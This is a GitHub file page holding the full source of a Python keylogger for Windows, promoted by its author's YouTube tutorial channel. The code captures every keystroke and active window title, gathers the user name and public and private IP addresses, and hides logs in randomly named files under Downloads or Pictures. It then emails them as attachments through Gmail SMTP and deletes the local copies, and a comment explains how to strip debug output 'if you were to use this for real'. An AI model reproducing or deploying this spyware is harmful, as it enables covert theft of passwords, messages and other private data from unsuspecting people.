-
Notifications
You must be signed in to change notification settings - Fork 38
/
Python advanced keylogger.py
157 lines (116 loc) · 3.93 KB
/
Python advanced keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#//python keylogging program
## You will need to comment out the prints and exception prints on code if you were to use this for real, as its testing
## i have prints on here that will tell you and let you know what part of the program is going at the time and that it is
## working
# Surport me and subscribe to my YouTube tutorial channel - https://bit.ly/2U58Lt9 / link also in my description. Thanks.
#imports
from pynput.keyboard import Key,Listener
import win32gui
import os
import time
import requests
import socket
import random
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import threading
import config
datetime = time.ctime(time.time())
user = os.path.expanduser('~').split('\\')[2]
publicIP = requests.get('https://api.ipify.org/').text
privateIP = socket.gethostbyname(socket.gethostname())
msg = f'[START OF LOGS]\n *~ Date/Time: {datetime}\n *~ User-Profile: {user}\n *~ Public-IP: {publicIP}\n *~ Private-IP: {privateIP}\n\n'
logged_data = []
logged_data.append(msg)
old_app = ''
delete_file = []
def on_press(key):
global old_app
new_app = win32gui.GetWindowText(win32gui.GetForegroundWindow())
if new_app == 'Cortana':
new_app = 'Windows Start Menu'
else:
pass
if new_app != old_app and new_app != '':
logged_data.append(f'[{datetime}] ~ {new_app}\n')
old_app = new_app
else:
pass
substitution = ['Key.enter', '[ENTER]\n', 'Key.backspace', '[BACKSPACE]', 'Key.space', ' ',
'Key.alt_l', '[ALT]', 'Key.tab', '[TAB]', 'Key.delete', '[DEL]', 'Key.ctrl_l', '[CTRL]',
'Key.left', '[LEFT ARROW]', 'Key.right', '[RIGHT ARROW]', 'Key.shift', '[SHIFT]', '\\x13',
'[CTRL-S]', '\\x17', '[CTRL-W]', 'Key.caps_lock', '[CAPS LK]', '\\x01', '[CTRL-A]', 'Key.cmd',
'[WINDOWS KEY]', 'Key.print_screen', '[PRNT SCR]', '\\x03', '[CTRL-C]', '\\x16', '[CTRL-V]']
key = str(key).strip('\'')
if key in substitution:
logged_data.append(substitution[substitution.index(key)+1])
else:
logged_data.append(key)
def write_file(count):
one = os.path.expanduser('~') + '/Downloads/'
two = os.path.expanduser('~') + '/Pictures/'
#three = 'C:/'
list = [one,two]
filepath = random.choice(list)
filename = str(count) + 'I' + str(random.randint(1000000,9999999)) + '.txt'
file = filepath + filename
delete_file.append(file)
with open(file,'w') as fp:
fp.write(''.join(logged_data))
print('written all good')
def send_logs():
count = 0
fromAddr = config.fromAddr
fromPswd = config.fromPswd
toAddr = fromAddr
MIN = 10
SECONDS = 60
#time.sleep(MIN * SECONDS) # every 10 mins write file/send log
time.sleep(30) # for debugging ~ yes program works :)
while True:
if len(logged_data) > 1:
try:
write_file(count)
subject = f'[{user}] ~ {count}'
msg = MIMEMultipart()
msg['From'] = fromAddr
msg['To'] = toAddr
msg['Subject'] = subject
body = 'testing'
msg.attach(MIMEText(body,'plain'))
attachment = open(delete_file[0],'rb')
print('attachment')
filename = delete_file[0].split('/')[2]
part = MIMEBase('application','octect-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('content-disposition','attachment;filename='+str(filename))
msg.attach(part)
text = msg.as_string()
print('test msg.as_string')
s = smtplib.SMTP('smtp.gmail.com',587)
s.ehlo()
s.starttls()
print('starttls')
s.ehlo()
s.login(fromAddr,fromPswd)
s.sendmail(fromAddr,toAddr,text)
print('sent mail')
attachment.close()
s.close()
os.remove(delete_file[0])
del logged_data[1:]
del delete_file[0:]
print('delete data/files')
count += 1
except Exception as errorString:
print('[!] send_logs // Error.. ~ %s' % (errorString))
pass
if __name__=='__main__':
T1 = threading.Thread(target=send_logs)
T1.start()
with Listener(on_press=on_press) as listener:
listener.join()